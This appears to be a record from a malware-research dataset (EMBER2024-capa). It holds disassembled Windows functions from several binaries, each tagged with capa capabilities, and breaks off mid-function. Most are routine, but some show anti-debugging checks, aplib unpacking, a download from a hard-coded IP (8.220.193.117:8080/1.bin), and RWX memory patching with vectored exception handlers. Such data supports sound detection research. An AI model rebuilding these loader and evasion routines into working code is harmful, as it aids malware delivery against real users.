joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000753c
Capabilities:
Check for peb beingdebugged flag
Terminate process

Disassembly:
mov dword [rsp + 0x10], edx
mov dword [rsp + 8], ecx
sub rsp, 0x28
mov rax, qword gs:[0x60]
movzx eax, byte [rax + 2]
test eax, eax
jne 0x14000756f
mov eax, 0x2d4
add rax, 0x7ffe0000
movzx eax, byte [rax]
and eax, 3
cmp eax, 3
jne 0x140007570
int3
lea rcx, [0x14000c6c0]
call qword [sym.imp.ntdll.dll_RtlCaptureContext]
nop dword [rax + rax]
mov rax, qword [rsp + 0x28]
mov qword [0x14000c7b8], rax
lea rax, [rsp + 0x28]
add rax, 8
mov qword [0x14000c758], rax
mov dword [0x14000cb90], 0x40000015
mov dword [0x14000cb94], 1
mov qword [0x14000cb98], 0
mov rax, qword [0x14000c7b8]
mov qword [0x14000cba0], rax
mov dword [0x14000cba8], 2
movsxd rax, dword [rsp + 0x30]
mov ecx, 8
imul rcx, rcx, 0
lea rdx, [0x14000cbb0]
mov qword [rdx + rcx], rax
mov eax, dword [rsp + 0x38]
mov ecx, 8
imul rcx, rcx, 1
lea rdx, [0x14000cbb0]
mov qword [rdx + rcx], rax
mov r8d, 2
lea rdx, [0x14000c6c0]
lea rcx, [0x14000cb90]
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_2.dll_RaiseFailFastException]
nop dword [rax + rax]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetCurrentProcess]
nop dword [rax + rax]
mov edx, dword [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.ntdll.dll_NtTerminateProcess]
nop dword [rax + rax]
add rsp, 0x28
ret

Function at 0x140007660
Capabilities:
Check if file exists

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x270
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edi, edi
lea rdx, [rsp + 0x50]
mov r8d, 0x104
mov byte [0x14000cc3a], dil
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_GetModuleFileNameW]
nop dword [rax + rax]
test eax, eax
jne 0x140007738
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
nop dword [rax + rax]
cmp dword [section..data], 2
mov ebx, eax
jbe 0x14000771e
test byte [0x14000c010], 2
je 0x14000771e
mov rcx, qword [0x14000c018]
and ecx, 2
cmp rcx, qword [0x14000c018]
jne 0x14000771e
mov dword [rsp + 0x40], eax
lea rdx, [0x140009f1f]
lea rax, str.onecorexboxgameinput2commonPlatformInfo.cpp
mov dword [rsp + 0x44], 0x17
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x44]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call fcn.140001008
test ebx, ebx
jne 0x140007729
mov eax, 0x8000ffff
jmp 0x14000779d
movzx eax, bx
or eax, 0x80070000
test ebx, ebx
cmovle eax, ebx
jmp 0x14000779d
lea r8, [rsp + 0x50]
or rax, 0xffffffffffffffff
lea rcx, [rsp + 0x50]
inc rax
cmp word [rcx + rax*2], di
jne 0x140007746
movsxd rcx, eax
mov ebx, 1
test eax, eax
js 0x14000777a
cmp word [rsp + rcx*2 + 0x50], 0x5c
je 0x14000776c
sub eax, ebx
sub rcx, rbx
jns 0x14000775b
jmp 0x14000777a
inc eax
lea r8, [rsp + 0x50]
movsxd rcx, eax
lea r8, [r8 + rcx*2]
lea rdx, str.dwm.exe
mov rcx, r8
call sub.ntdll.dll__wcsicmp
movzx ecx, byte [0x14000cc3a]
test eax, eax
cmove ecx, ebx
xor eax, eax
mov byte [0x14000cc3a], cl
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140007d00
mov rbx, qword [rsp + 0x280]
add rsp, 0x270
pop rdi
ret
Function at 0x140007b0c
Capabilities:
Accept command line arguments

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0xc0
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rsp + 0xb0], rax
call fcn.1400077c8
xor edi, edi
test eax, eax
js 0x140007ca8
call fcn.140007198
call fcn.1400062e8
test eax, eax
js 0x140007ca8
mov rax, qword [0x14000c008]
lea r9, [0x14000c020]
xorps xmm1, xmm1
lea r8, [section..data]
lea rdx, [0x140001340]
lea rcx, [rsp + 0xa0]
movups xmm0, xmmword [rax - 0x10]
movdqu xmmword [0x14000c028], xmm1
movdqu xmmword [rsp + 0xa0], xmm0
call qword [sym.imp.ntdll.dll_EtwEventRegister]
nop dword [rax + rax]
test eax, eax
jne 0x140007bbf
mov rax, qword [0x14000c5f8]
test rax, rax
je 0x140007bbf
mov r8, qword [0x14000c008]
lea edx, [rdi + 2]
mov rcx, qword [0x14000c020]
movzx r9d, word [r8]
call qword [0x1400094e0]
mov eax, edi
test eax, eax
js 0x140007ca8
call qword [sym.imp.api_ms_win_core_processenvironment_l1_1_0.dll_GetCommandLineW]
nop dword [rax + rax]
mov rbx, rax
mov dl, dil
movzx eax, word [rax]
test ax, ax
je 0x140007c21
movzx ecx, ax
cmp cx, 0x20
ja 0x140007bf3
movzx eax, cx
test dl, dl
je 0x140007c1c
cmp cx, 0x22
jne 0x140007bfe
test dl, dl
sete dl
add rbx, 2
movzx eax, word [rbx]
movzx ecx, ax
test ax, ax
jne 0x140007be6
jmp 0x140007c1c
cmp ax, 0x20
ja 0x140007c21
add rbx, 2
movzx eax, word [rbx]
test ax, ax
jne 0x140007c0f
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetStartupInfoW]
nop dword [rax + rax]
lea rdx, str._install
mov rcx, rbx
call qword [sym.imp.ntdll.dll__wcsicmp]
nop dword [rax + rax]
test eax, eax
je 0x140007c66
lea rdx, str._uninstall
mov rcx, rbx
call qword [sym.imp.ntdll.dll__wcsicmp]
nop dword [rax + rax]
test eax, eax
jne 0x140007c6d
mov ebx, 0x80004001
jmp 0x140007c9e
mov r8d, 0x17
lea rdx, str.GlobalGameInputSession
mov rcx, rbx
call qword [sym.imp.ntdll.dll__wcsnicmp]
nop dword [rax + rax]
test eax, eax
jne 0x140007c97
mov rcx, rbx
call fcn.1400059f8
jmp 0x140007c9c
call fcn.1400036a4
mov ebx, eax
call fcn.140007a20
shr ebx, 0x1f
mov eax, ebx
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.140007d00
mov rbx, qword [rsp + 0xd0]
add rsp, 0xc0
pop rdi
ret
sub rsp, 0x28
call fcn.140007e80
add rsp, 0x28
jmp 0x140007b0c
Function at 0x140011221
Capabilities:
Terminate process

Disassembly:
jmp 0x140014040
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1400112b2
Capabilities:
Parse pe header

Disassembly:
jmp 0x140015380
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400153a0
xor al, al
jmp 0x140015421
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400153b3
xor al, al
jmp 0x140015421
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400153dd
xor al, al
jmp 0x140015421
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400153f1
xor al, al
jmp 0x140015421
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140015403
xor al, al
jmp 0x140015421
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001541f
xor al, al
jmp 0x140015421
mov al, 1
add rsp, 0x38
ret
Function at 0x140003ad0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov r9d, 0x6c078965
mov r8d, 0xffffffff
mov edx, dword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
call fcn.140003a80
nop
mov rax, qword [rsp + 0x30]
add rsp, 0x28
ret

Function at 0x140004600
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x270
jne 0x140004623
mov rcx, qword [rsp + 0x40]
call fcn.140005ab0
nop
jmp 0x14000463b
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x4e0
jb 0x14000463b
mov rcx, qword [rsp + 0x40]
call fcn.1400058b0
nop
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x40]
mov eax, dword [rcx + rax*4 + 4]
mov dword [rsp + 0x24], eax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
inc eax
mov rcx, qword [rsp + 0x40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x24]
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shr eax, 0xb
mov rcx, qword [rsp + 0x40]
and eax, dword [rcx + 0x1384]
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shl eax, 7
and eax, 0x9d2c5680
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shl eax, 0xf
and eax, 0xefc60000
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shr eax, 0x12
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
add rsp, 0x38
ret
Function at 0x1400047e0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x498
mov rax, qword [0x140023040]
xor rax, rsp
mov qword [rsp + 0x480], rax
call fcn.140006920
lea rax, str.http:__8.220.193.117:8080_1.bin
mov qword [rsp + 0x48], rax
call fcn.140006920
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, [0x140018720]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rsp + 0x38], rax
call fcn.140006920
nop
cmp qword [rsp + 0x38], 0
jne 0x14000484e
xor al, al
jmp 0x140004961
call fcn.140006920
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov qword [rsp + 0x40], rax
call fcn.140006920
nop
cmp qword [rsp + 0x40], 0
jne 0x14000489f
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor al, al
jmp 0x140004961
mov dword [rsp + 0x30], 0
call fcn.140006920
nop
lea r9, [rsp + 0x30]
mov r8d, 0x400
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14000493a
cmp dword [rsp + 0x30], 0
jbe 0x14000493a
mov eax, dword [rsp + 0x30]
lea rax, [rsp + rax + 0x80]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x68]
mov rcx, qword [rsp + 0x4a0]
call fcn.140006c30
mov rax, qword [rax]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x80]
mov r8, qword [rsp + 0x60]
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x4a0]
call fcn.1400034b0
nop
jmp 0x1400048ad
call fcn.140006920
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
call fcn.140006920
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
call fcn.140006920
mov al, 1
mov rcx, qword [rsp + 0x480]
xor rcx, rsp
call fcn.140007ab0
add rsp, 0x498
ret
Function at 0x1400058b0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov qword [rsp + 0x28], 0x26f
mov qword [rsp + 0x30], 0xe3
mov qword [rsp], 0
jmp 0x1400058e0
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
cmp qword [rsp], 0xe3
jae 0x140005962
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp]
mov eax, dword [rax + rcx*4 + 0x9c4]
and eax, 0x80000000
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp]
mov ecx, dword [rcx + rdx*4 + 0x9c8]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 0x10], eax
mov eax, dword [rsp + 0x10]
and eax, 1
test eax, eax
je 0x14000592e
mov dword [rsp + 0x14], 0x9908b0df
jmp 0x140005936
mov dword [rsp + 0x14], 0
mov eax, dword [rsp + 0x10]
shr eax, 1
xor eax, dword [rsp + 0x14]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp]
xor eax, dword [rcx + rdx*4 + 0xff8]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x1400058d5
mov qword [rsp + 8], 0xe3
jmp 0x14000597a
mov rax, qword [rsp + 8]
inc rax
mov qword [rsp + 8], rax
cmp qword [rsp + 8], 0x26f
jae 0x140005a01
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 8]
mov eax, dword [rax + rcx*4 + 0x9c4]
and eax, 0x80000000
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 8]
mov ecx, dword [rcx + rdx*4 + 0x9c8]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 0x18], eax
mov eax, dword [rsp + 0x18]
and eax, 1
test eax, eax
je 0x1400059cb
mov dword [rsp + 0x1c], 0x9908b0df
jmp 0x1400059d3
mov dword [rsp + 0x1c], 0
mov eax, dword [rsp + 0x18]
shr eax, 1
xor eax, dword [rsp + 0x1c]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 8]
xor eax, dword [rcx + rdx*4 - 0x388]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 8]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x14000596d
mov qword [rsp + 0x38], 0x26f
mov eax, 4
imul rax, rax, 0x4df
mov rcx, qword [rsp + 0x50]
mov eax, dword [rcx + rax + 4]
and eax, 0x80000000
mov ecx, 4
imul rcx, rcx, 0
mov rdx, qword [rsp + 0x50]
mov ecx, dword [rdx + rcx + 4]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
and eax, 1
test eax, eax
je 0x140005a55
mov dword [rsp + 0x24], 0x9908b0df
jmp 0x140005a5d
mov dword [rsp + 0x24], 0
mov eax, dword [rsp + 0x20]
shr eax, 1
xor eax, dword [rsp + 0x24]
mov ecx, 4
imul rcx, rcx, 0x18c
mov rdx, qword [rsp + 0x50]
xor eax, dword [rdx + rcx + 4]
mov ecx, 4
imul rcx, rcx, 0x26f
mov rdx, qword [rsp + 0x50]
mov dword [rdx + rcx + 4], eax
mov rax, qword [rsp + 0x50]
mov dword [rax], 0
add rsp, 0x48
ret
Function at 0x140005ab0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov qword [rsp + 8], 0x270
jmp 0x140005ad1
mov rax, qword [rsp + 8]
inc rax
mov qword [rsp + 8], rax
cmp qword [rsp + 8], 0x4e0
jae 0x140005b55
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 8]
mov eax, dword [rax + rcx*4 - 0x9bc]
and eax, 0x80000000
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 8]
mov ecx, dword [rcx + rdx*4 - 0x9b8]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp], eax
mov eax, dword [rsp]
and eax, 1
test eax, eax
je 0x140005b20
mov dword [rsp + 4], 0x9908b0df
jmp 0x140005b28
mov dword [rsp + 4], 0
mov eax, dword [rsp]
shr eax, 1
xor eax, dword [rsp + 4]
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 8]
xor eax, dword [rcx + rdx*4 - 0x388]
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 8]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x140005ac4
add rsp, 0x18
ret

Function at 0x1400073d0
Capabilities:
Allocate or change rwx memory

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov dword [rsp + 0x20], 0
jmp 0x1400073fc
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0x64
jge 0x14000740b
call fcn.140006920
nop
jmp 0x1400073f2
lea rcx, [0x1400249f8]
call fcn.1400047e0
movzx eax, al
call fcn.140006920
nop
lea rcx, [0x1400249f8]
call fcn.140007260
lea rdx, [0x1400072c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
call fcn.140006920
lea rcx, str.User32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x140018728]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x28], rax
call fcn.140006920
mov dword [rsp + 0x24], 0
call fcn.140006920
lea rcx, [0x1400249f8]
call fcn.140006b70
lea r9, [rsp + 0x24]
mov r8d, 0x40
mov edx, 1
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.140006920
lea r9, [rsp + 0x24]
mov r8d, 0x40
mov edx, 1
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.140006920
mov rax, qword [rsp + 0x28]
mov byte [rax], 0xcc
call fcn.140006920
lea rcx, [0x1400249f8]
call fcn.140006b70
mov rdx, rax
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
call fcn.140006920
xor r9d, r9d
lea r8, [0x140018744]
lea rdx, [0x140018748]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call fcn.140006920
xor eax, eax
add rsp, 0x38
ret

Function at 0x140008228
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140008272
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140008272
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140008272
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140008272
cmp dword [rcx + 0x84], 0xe
jbe 0x140008272
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140008274
xor al, al
add rsp, 0x28
ret
Function at 0x14000d960
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000d9cf
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000d9cf
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000d9cf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000d9cf
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000d9cf
cmp dword [rcx + 0x84], 0xe
jbe 0x14000d9cf
cmp dword [rcx + 0xf8], 0
je 0x14000d9cf
mov ecx, ebx
call fcn.14000da80
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000d85c
nop
cmp dword [rbp + 0x20], 0
je 0x14000da1d
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000da28
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x14000d960

Function at 0x14000db64
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000d960
Function at 0x140011818
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140011848
xor eax, eax
jmp 0x14001190b
mov rbp, rbx
cmp word [rax], si
je 0x14001186d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140011854
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140011850
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140011738
movsxd r14, eax
test eax, eax
jne 0x1400118ab
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140011841
mov rcx, r14
call fcn.14000fc34
mov rdi, rax
test rax, rax
jne 0x1400118c4
xor ecx, ecx
call fcn.14000fd70
jmp 0x1400118a0
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140011738
test eax, eax
jne 0x1400118f5
mov rcx, rdi
call fcn.14000fd70
jmp 0x1400118ff
xor ecx, ecx
call fcn.14000fd70
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140016790
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400167b8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400167b8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x18088e058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.18088e1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x18088e089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18088e06f
add dl, dl
jne 0x18088e096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18088e0f6
xor eax, eax
add dl, dl
jne 0x18088e0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18088e1ad
add dl, dl
jne 0x18088e0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18088e0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18088e0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18088e0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x18088e0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x18088e07e
mov eax, 1
add dl, dl
jne 0x18088e106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18088e113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18088e0fb
sub eax, ebx
mov ebx, 1
jne 0x18088e14c
mov ecx, 1
add dl, dl
jne 0x18088e12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x18088e13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18088e123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18088e07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x18088e168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x18088e175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18088e15d
cmp eax, 0x7d00
jae 0x18088e19b
cmp eax, 0x500
jb 0x18088e196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18088e07e
cmp eax, 0x7f
ja 0x18088e19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18088e07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x18088e1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x18088e07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14063e058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x14063e1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14063e089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14063e06f
add dl, dl
jne 0x14063e096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14063e0f6
xor eax, eax
add dl, dl
jne 0x14063e0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14063e1ad
add dl, dl
jne 0x14063e0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14063e0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14063e0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14063e0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14063e0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14063e07e
mov eax, 1
add dl, dl
jne 0x14063e106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14063e113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14063e0fb
sub eax, ebx
mov ebx, 1
jne 0x14063e14c
mov ecx, 1
add dl, dl
jne 0x14063e12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14063e13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14063e123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14063e07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14063e168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14063e175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14063e15d
cmp eax, 0x7d00
jae 0x14063e19b
cmp eax, 0x500
jb 0x14063e196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14063e07e
cmp eax, 0x7f
ja 0x14063e19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14063e07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14063e1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
